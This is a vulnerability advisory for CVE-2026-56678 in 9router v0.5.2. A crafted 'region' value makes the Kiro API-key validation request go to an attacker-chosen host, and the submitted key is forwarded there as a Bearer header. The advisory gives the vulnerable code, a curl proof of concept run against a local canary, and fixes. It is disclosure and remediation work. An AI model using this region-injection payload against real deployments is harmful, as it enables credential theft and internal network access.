CVE-2026-56678

### Summary The Kiro API-key validation endpoint builds an upstream URL using a user-controlled `region` value. By supplying a crafted region such as `kiro-canary.local:8443#`, an authenticated attacker can cause 9router to send the Kiro validation request to an attacker-controlled host under the constructed `codewhisperer.<region>` hostname. The request forwards the submitted Kiro API key as an `Authorization: Bearer` header. ### Details - **Affected version / commit:** 9router v0.5.2 @ `5da508a`. - **Endpoint:** `POST /api/oauth/kiro/api-key`. - **Correct runtime payload:** `region: "kiro-canary.local:8443#"`. - Do **not** use the old `@host#` payload (`region: "@kiro-canary.local:8443#"`); it is blocked by Node/undici `fetch()` because it creates URL credentials (`"Request cannot be constructed from a URL that includes credentials"`). - **Constructed upstream host becomes:** `codewhisperer.kiro-canary.local:8443` (the `#` turns the trailing `.amazonaws.com` into a URL fragment). - HTTPS canary captured: `Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO`. - TLS verification was **not** globally disabled; the reproduction uses a local CA via `NODE_EXTRA_CA_CERTS`. - The no-auth control returns 401, so this standalone issue is **authenticated**. - `SameSite=Lax` on the session cookie prevents cross-site POST cookie delivery, so do **not** claim drive-by CSRF unless another same-site / auth-bypass primitive is chained. **Root cause.** The route reads `region` straight from the request body and passes it, unvalidated, into the upstream URL template; the bearer credential is forwarded to that host, and the upstream response body is reflected back to the client on error: ```js // src/app/api/oauth/kiro/api-key/route.js const { apiKey, region } = await request.json(); ... const credential = await kiroService.validateApiKey(apiKey, region || "us-east-1"); ... } catch (error) { return NextResponse.json({ error: error.message }, { status: 500 }); // reflects upstream body } ``` ```js // src/lib/oauth/services/kiro.js — listAvailableProfiles() const endpoint = `https://codewhisperer.${region}.amazonaws.com`; // region interpolated const response = await fetch(endpoint, { method: "POST", headers: { "x-amz-target": "AmazonCodeWhispererService.ListAvailableProfiles", "Authorization": `Bearer ${accessToken}`, // credential forwarded ... }, body: JSON.stringify({ maxResults: 10 }), }); if (!response.ok) { const error = await response.text(); throw new Error(`Failed to list profiles: ${error}`); // upstream body -> error.message } ``` There is no allowlist on `region`, and the call uses the default fetch dispatcher (no internal-IP denylist / DNS pinning), so a `codewhisperer.<attacker-domain>` that resolves to an internal address (e.g. `169.254.169.254` or RFC1918) would be reached. ### PoC Start the package: ```bash docker compose up --build ``` The endpoint is authenticated, so first obtain a dashboard session using the password configured in `docker-compose.yml` (`INITIAL_PASSWORD`), saving the cookie: ```bash curl -i -c session.txt -X POST http://127.0.0.1:18184/api/auth/login \ -H "Content-Type: application/json" \ -d '{"password":"repro-dashboard-pass"}' ``` Then send the region-injection request with that session cookie: ```bash curl -i -b session.txt -X POST http://127.0.0.1:18184/api/oauth/kiro/api-key \ -H "Content-Type: application/json" \ -d '{"apiKey":"DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO","region":"kiro-canary.local:8443#"}' ``` Expected: - 9router returns a 500 whose body contains a controlled canary marker, indicating the validation request reached the canary and its response was reflected. - `docker compose logs kiro-canary` shows a request with: - `Host: codewhisperer.kiro-canary.local:8443` - `Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO` No-auth control (no session cookie): ```bash curl -i -X POST http://127.0.0.1:18184/api/oauth/kiro/api-key \ -H "Content-Type: application/json" \ -d '{"apiKey":"DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO","region":"kiro-canary.local:8443#"}' ``` Expected: 401 Unauthorized. Safe-region control (`region: "us-east-1"`): no canary hit; the blackholed AWS host is never contacted. ### Impact An authenticated attacker can make the server send a Kiro validation request to an attacker-controlled host and forward the submitted Kiro API key in the Authorization header. This can be used for SSRF and credential forwarding during Kiro API-key validation. The issue is authenticated as a standalone bug. ### Screenshots The following screenshots show the safe-region control, the region-injection SSRF trigger, the HTTPS canary evidence, and the no-auth control. #### 1. Safe-region control — normal Kiro validation path <img width="1548" height="831" alt="01-kiro-safe-region-control" src="https://github.com/user-attachments/assets/0a07d82c-16f0-4af3-97f2-145578c9e47b" /> >**An authenticated request to `/api/oauth/kiro/api-key` using the valid region `us-east-1` and a dummy API key completes normally with `200 OK`. This establishes the expected non-malicious validation path.** #### 2. Region-injection SSRF trigger — canary marker reflected <img width="1547" height="840" alt="02-kiro-region-injection-ssrf-500-reflection" src="https://github.com/user-attachments/assets/f31a1471-ce8b-490c-a439-58089b3ac780" /> >**An authenticated request supplies the crafted region value `kiro-canary.local:8443#`. Because the upstream URL is built from the raw `region` value, the request is routed to the attacker-controlled canary host under the constructed `codewhisperer.<attacker-domain>` hostname. The response contains a canary marker, confirming the server-side request reached the controlled endpoint.** #### 3. HTTPS canary evidence — Authorization header forwarded <img width="1476" height="960" alt="03-kiro-canary-authorization-captured" src="https://github.com/user-attachments/assets/2f445daa-307b-4223-92e8-7482d745d2b1" /> >**The HTTPS canary logs show a server-side request from the 9router container with `Host: codewhisperer.kiro-canary.local:8443` and `Authorization: Bearer DUMMY_KIRO_API_KEY_FOR_LOCAL_REPRO`. This confirms that the injected region controls the constructed upstream host and that 9router forwards the submitted Kiro API key to that host.** #### 4. No-auth control — endpoint requires authentication <img width="1544" height="839" alt="04-kiro-no-auth-control-401" src="https://github.com/user-attachments/assets/664955ab-35a3-4c5f-bd5e-bd049f17b0c9" /> >**The same region-injection payload is sent without an authenticated session cookie, and the server returns `401 Unauthorized`. This confirms the issue is authenticated as a standalone vulnerability and should not be described as unauthenticated unless it is chained with a separate authentication bypass.** ### Suggested Fix - Validate `region` against a strict allowlist of known Kiro/AWS regions (e.g. `^[a-z]{2}-[a-z]+-\d$`). - Construct upstream endpoints only from fixed enum values. - Reject region values containing colon, slash, hash, at-sign, userinfo, whitespace, or hostname separators. - After URL construction, validate that the final hostname exactly matches the expected AWS/Kiro hostname pattern. - Do not forward Authorization headers to hosts derived from untrusted input, and stop reflecting upstream response bodies in `error.message`.